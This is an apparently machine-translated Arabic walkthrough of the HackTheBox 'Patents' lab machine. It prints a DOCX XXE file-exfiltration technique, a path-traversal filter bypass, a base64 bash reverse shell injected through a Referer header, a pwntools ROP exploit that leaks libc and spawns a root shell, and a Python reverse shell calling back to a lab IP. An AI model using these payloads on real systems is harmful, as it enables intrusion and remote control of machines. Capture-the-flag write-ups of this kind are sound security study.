أواصل نشر الحلول المرسلة للمعالجة الإضافية من موقع HackTheBox .في هذه المقالة ، نستغل XXE في الخدمة لتحويل مستندات DOCX إلى PDF ، والحصول على RCE عبر LFI ، والحفر في سجل GIT واستعادة الملفات ، وإنشاء سلاسل ROP باستخدام pwntools والعثور على ملف جذر مخفي.يتم الاتصال بالمختبر عبر VPN. من المستحسن عدم الاتصال من جهاز كمبيوتر العمل أو من مضيف حيث تتوفر البيانات المهمة لك ، نظرًا لأنك تدخل في شبكة خاصة مع أشخاص يعرفون شيئًا في مجال أمن المعلومات :)المعلومات التنظيمية, ,
Telegram . , ,
.
. , - , .
ريكون
يحتوي هذا الجهاز على عنوان IP 10.10.10.173 ، والذي أضيفه إلى / etc / hosts.10.10.10.173 patents.htb
أولاً ، نقوم بمسح المنافذ المفتوحة. نظرًا لأنه يستغرق وقتًا طويلاً لفحص جميع المنافذ باستخدام nmap ، سأفعل ذلك أولاً مع ماسكان. نقوم بمسح جميع منافذ TCP و UDP من واجهة tun0 بسرعة 500 حزمة في الثانية.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.173 --rate=500
الآن ، لمزيد من المعلومات التفصيلية حول الخدمات التي تعمل على المنافذ ، سنقوم بإجراء مسح ضوئي باستخدام الخيار -A.nmap -A patents.htb -p22,80,8888
يقوم المضيف بتشغيل خدمات SSH وخادم الويب Apache ، مع الاحتفاظ بالمنفذ 8888 لخدمة غير مفهومة. دعنا نرى الويب.
يحتوي الموقع على نموذج تنزيل لوثائق DOCX.
XXE DOCX
وفقًا للبيان ، سيتم تحويل وثيقتنا إلى تنسيق PDF. هذا يشير إلى فكرة XXE. أخذت مثالاً من هنا .
وبالتالي ، في هذا المثال ، سيحاول المضيف تنزيل مستند xml من الخادم البعيد. من خلال تنزيل هذا المستند ، سيقرأ الملف المحلي المحدد في مستند xml الذي تم تنزيله ، ويرمزه في base64 وسيتصل بخادمنا مرة أخرى ، ويمرر الملف المشفر كمعلمة طلب. أي ، بعد فك شفرة هذه المعلمة ، نحصل على الملف من الجهاز البعيد.ولكن لا ينبغي وضع هذا الحمل على مسار word / document.xml. نظرًا لأنه يتم استخدام OpenXML SDK للعمل مع هذا النوع من المستندات ، فإنه يتبع من هنا ومن هنا، سيقوم البرنامج من جانب الخادم بالبحث عن البيانات في word / document.xml ، و customXML / item1.xml. لذلك ، يجب وضع الحمل هناك.لنقم بإنشاء مستند docx وفك ضغطه كأرشيف مضغوط. بعد ذلك ، قم بإنشاء دليل customXML وقم بإنشاء ملف item1.xml فيه. سنكتب فيه الرمز من الصورة أعلاه ، مع تغيير عنوان IP إلى عنواننا. ونقوم بأرشفة الوثيقة مرة أخرى.
الآن قم بتشغيل خادم الويب المحلي.python3 -m http.server 80
وفي الدليل الحالي نقوم بإنشاء ملف xml الثاني ، مع تحديد / etc / passwd كملف مطلوب.
وتحميل المستند على الخادم. في النافذة التي يعمل بها خادم الويب ، سنرى الاتصال العكسي.
فك تشفير base64 واحصل على الملف المطلوب.
بهذه الطريقة يمكننا قراءة الملفات الموجودة على الخادم. دعونا نقرأ ملفات تكوين أباتشي. للقيام بذلك ، قم بتغيير dtd.xml وكرر تنزيل المستند.
لذلك نكتشف الدليل الذي يوجد فيه الموقع. دعونا نحاول قراءة ملف التكوين.
ويقول التعليق أنه تمت إعادة تسمية الملف بسبب الضعف. سنشير بالطبع إلى ذلك patents.htb / getPatent_alphav1.0.php .
بالانتقال إلى هذه الصفحة وتمرير المسار ../../../../../etc/passwd كمعلمة معرف ، سيتم حذف جميع تكرارات "../" من السطر الخاص بنا. دعنا نستبدل كل سطر "../" بـ "... /. /" ، لذا إذا قمت بحذف تسلسل ، فسيظل "../".
ونجد LFI.نقطة الدخول
دعونا نحاول الحصول على RCE من هذا. بصراحة - كان الأمر صعبًا. والحقيقة هي أنه عند إرسال مثل هذا المستند ، لم نتلق عرضًا لتنزيل PDF. أي أنه تم استخدام الواصف 2 (لعرض رسائل التشخيص وتصحيح الأخطاء في شكل نصي). ويمكننا أن نلجأ إليه. دعونا ترميز قذيفة عكسية في base64:/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.211/4321 0>&1;'
L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn
سنقوم بفك تشفيرها ونقلها إلى وظيفة النظام في php. دعنا نمرر الرمز كعنوان HTTP عند تحميل ملف.curl http://patents.htb/convert.php -F "userfile=@file.docx" -F 'submit=Generate PDF' --referer 'http://test.com/<?php system(base64_decode("L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjExLzQzMjEgMD4mMTsn")); ?>'
قم بتشغيل netcat.nc -lvp 4321
والآن دعونا ننتقل إلى الواصف الثاني.curl http://patents.htb/getPatent_alphav1.0.php?id=....//....//....//....//....//....//....//proc//self//fd//2
نعود الاتصال.الجذر 1
تحميل نظام النص ينقل linpeas وتحليل المخرجات بعناية. لذلك نحن نعمل في حاوية عامل ميناء.
نجد أيضًا تجزئات. لكن القرصنة ، لا نصل إلى شيء.
لذلك ، قم بتشغيل pspy64 لتتبع العمليات الجارية. ونجد بداية العملية كجذر ، حيث يتم تمرير كلمة المرور كمتغير بيئة.
وتغيير المستخدم محليًا بإدخال كلمة المرور هذه.
الجذر 2
دعونا نرى ما يفعله هذا البرنامج النصي.
نحصل على نصيحة حول بعض lfmserver ، ونحفظ أيضًا اسم المستخدم وكلمة المرور. دعونا ننظر في النظام لكل ما يتعلق lfm.
ونجد مستودع git في هذا الدليل.
فلنعمل مع هذا المستودع.
دعونا نرى تاريخ التغييرات.
دعونا نرى تاريخ التغييرات. لذلك نرى أنه في الإلتزام قبل الأخير ، تمت إضافة ملف قابل للتنفيذ ووصف ، وفي النهاية تم حذفهما بالفعل. دعونا نتراجع قبل حذف الملفات.git revert 7c6609240f414a2cb8af00f75fdc7cfbf04755f5
وفي دليلنا ظهر ملف ووصف قابل للتنفيذ.
هنا أردت بالفعل بدء عكس الملف ، ولكن - لدينا مشروع بوابة! لقد وجدت التزامًا يذكر رموز المصدر.
ودعنا نستعيد الملفات.git checkout 0ac7c940010ebb22f7fbedb67ecdf67540728123
بعد ذلك نقوم بتنزيل أكواد المصدر ، البرنامج نفسه والمكتبات إلى الجهاز المحلي.روب
نحتاج إلى محاولة العثور على الثغرة الأمنية في البرنامج واستغلالها ، فهناك رموز مصدر للمساعدة. دعونا نتحقق من الحماية في ملف ثنائي.
أي أن الكناري و PIE مفقودان ، لكن المكدس غير قابل للتنفيذ. دعونا نفتح الملف الثنائي في أي أداة تفكيك بمحلل ملائم لك (أستخدم IDA Pro 7.2) ونقارن الشفرة التي تم فك شفرتها مع رموز المصدر من المستودع.
للاتصال بالخادم واستخدام البيانات من ملف checker.py ، وكذلك بيانات الاعتماد.
دعونا نكتب قالب برمجية إكسبلويت.
from pwn import *
context(os="linux", arch="amd64")
HOST = "127.0.0.1"
PORT = 8888
username = "lfmserver_user"
password = "!gby0l0r0ck$$!"
دعنا الآن نحدد الطلب. بدء تطبيق.
يجب عليك إرسال المسار إلى الملف وتجزئة محتوياته. على سبيل المثال ، أخذت / etc / hosts.
أضف الكود التالي إلى القالب.INPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n"
file = "/etc/hosts"
md5sum = "7d8fc74dc6cc8517a81a5b00b8b9ec32"
send_ = INPUTREQ.format(file,username, password, md5sum)
r = remote(HOST, PORT)
r.sendline(send_.encode())
r.interactive()
نفذ الآن واحصل على الخطأ 404.
دعنا نرى ملف السجل.
من الواضح أين يبحث التطبيق عن ملف ، فلنلعب مع المسارات ونحدد مثل هذا الملف.file = "../../../../../etc/hosts"
سنقوم بتنفيذ التعليمات البرمجية ولن نرى أي أخطاء.
ولكن في حالة urlencode ، نحصل على استجابة برمز 200 من الخادم!file = "%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fhosts"
رائع ، دعنا نعود إلى المفكك. نجد بين السطور (Shift + F12) استجابة الخادم الناجحة. ودعنا نرى أين يتم الوصول إليه (X).
وننتقل إلى الوظيفة الأولى ، حيث يوجد في البداية التحقق من أوراق الاعتماد.
دعنا نعيد تسمية الخطوط المتغيرة في نافذة أداة التفكيك لتسهيل فهمها في أداة فك الشفرة.
وتحليل التعليمات البرمجية في السطور 18-24 ، فهم ما يلي: يقع جزء من إدخال المستخدم في الدالة sub_402DB9 ، حيث يتم تحويل السلسلة إلى اسم المتغير ، والذي يقع بعد ذلك في دالة الوصول ، وإذا كانت النتيجة سلبية ، تكون الرسالة 404 ناتجة. سيكون اسم المتغير هو المسار إلى الملف. نظرًا لأنه تمت معالجة الطلب حتى في تشفير urlencode ، فمن المرجح أن تكون هذه الوظيفة مطلوبة لفك التشفير.
لكن الحقيقة هي أن اسم المتغير ، حيث يتم نقل البيانات ، محدود الحجم.
وبالتالي ، بالنسبة لتدفق المخزن المؤقت ، نحتاج إلى نقل 0xA0 = 160 بايت. دعنا نضيف في الكود وظيفة إضافة ما يصل إلى 160 بايت وترميز المسار إلى الملف. نظرًا لأنه يتم حساب التجزئة من محتويات الملف ، فمن الضروري عدم انتهاك سلامة مسار الملف ، أي بعد إضافة المسار الرئيسي 0x00 بايت.لكن الحقيقة هي أننا بحاجة إلى معرفة التجزئة من أي ملف على الخادم ، والذي سيكون متاحًا دائمًا ولن يتغير أبدًا. على سبيل المثال / proc / sys / kernel / randomize_va_space ، وكما نتذكر من ناتج linPEAS ، يتم تنشيط ASLR ، أي أننا نعرف التجزئة.
ثم قم بتغيير الكود.
from pwn import *
def append_and_encode(file, rop=b""):
ret = b""
path = (file + b"\x00").ljust(160, b"A") + rop
for i in path:
ret += b"%" + hex(i)[2:].rjust(2,"0").encode()
return ret
context(os="linux", arch="amd64", log_level="error")
HOST = "127.0.0.1"
PORT = 8888
INPUTREQ = b"CHECK /{1} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n{2}\n"
md5sum = b"26ab0db90d72e28ad0ba1e22ee510510"
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space")
send_= INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
r.interactive()
يعمل بنجاح!
الآن دعنا نستخدم تسرب ذاكرة ونحدد العنوان حيث يتم تحميل مكتبة libc. للقيام بذلك ، نحصل على عنوان وظيفة الكتابة في مكتبة libc المحملة.binary = ELF("./lfmserver")
libc = ELF("./libc6.so")
rop_binary = ROP(binary)
rop_binary.write(0x6, binary.got['dup2'])
rop = flat(rop_binary.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
الآن حدد عنوان الدالة dup2 (أول 8 بايت). اطرح عنوان وظيفة dup2 في المكتبة غير المحملة منها. سيجد هذا العنوان الأساسي لـ libc.print(f"[*] Payload sent")
recv_ = r.recvall().split(b'\r')
leak = u64(recv_[-1][:8])
print(f"[*] Leak address: {hex(leak)}")
libc.address = leak - libc.symbols['dup2']
print(f"[+] Libc base: {hex(libc.address)}")
ابحث الآن عن عنوان السطر / bin / sh.shell_address = next(libc.search(b"/bin/sh\x00"))
يبقى جمع ROP ، حيث سيتم إعادة توجيه واصفات الإدخال / الإخراج القياسية (0،1،2) إلى الواصف المسجل في البرنامج (خذ 6). بعد ذلك سيتم استدعاء وظيفة النظام ، حيث سنقوم بتمرير عنوان السطر / bin / sh.rop_libc = ROP(libc)
rop_libc.dup2(6,0)
rop_libc.dup2(6,1)
rop_libc.dup2(6,2)
rop_libc.system(shell_address)
rop = flat(rop_libc.build())
payload = append_and_encode(b"../../../../../proc/sys/kernel/randomize_va_space", rop)
send_ = INPUTREQ.replace(b"{1}", payload).replace(b"{2}", md5sum)
r = remote(HOST, PORT)
r.sendline(send_)
context.log_level='info'
r.recv()
r.sendline(b"id")
غرامة! نحصل على القشرة من الجذر. لكنه يموت بسرعة. قم بتشغيل المستمع (nc -lvp 8765) ورمي غلاف الاتصال الخلفي.r.sendline(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.66",8765));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'')

ولدينا قذيفة مستقرة. أعطي الرمز الكامل في الصورة أدناه.
لكن لا يمكننا قراءة علم الجذر ...
الجذر 3
من خلال تشغيل linpeas والنظر في الإخراج ، نجد أقسامًا مثيرة للاهتمام ، خاصة / dev / sda2.
دعنا نحصل على معلومات حول جميع أجهزة الحظر.
وبالتالي لدينا قسم الجذر / dev / sda2. قم بإنشاء دليل وتركيب القسم.
لذلك نجد علم الجذر.يمكنك الانضمام إلينا على Telegram . هناك يمكنك العثور على مواد مثيرة للاهتمام ، ودورات مدمجة ، بالإضافة إلى البرامج. دعونا نجمع مجتمعًا سيكون فيه أناس على دراية في العديد من مجالات تكنولوجيا المعلومات ، ثم يمكننا دائمًا مساعدة بعضنا البعض في أي قضايا تتعلق بتكنولوجيا المعلومات وأمن المعلومات.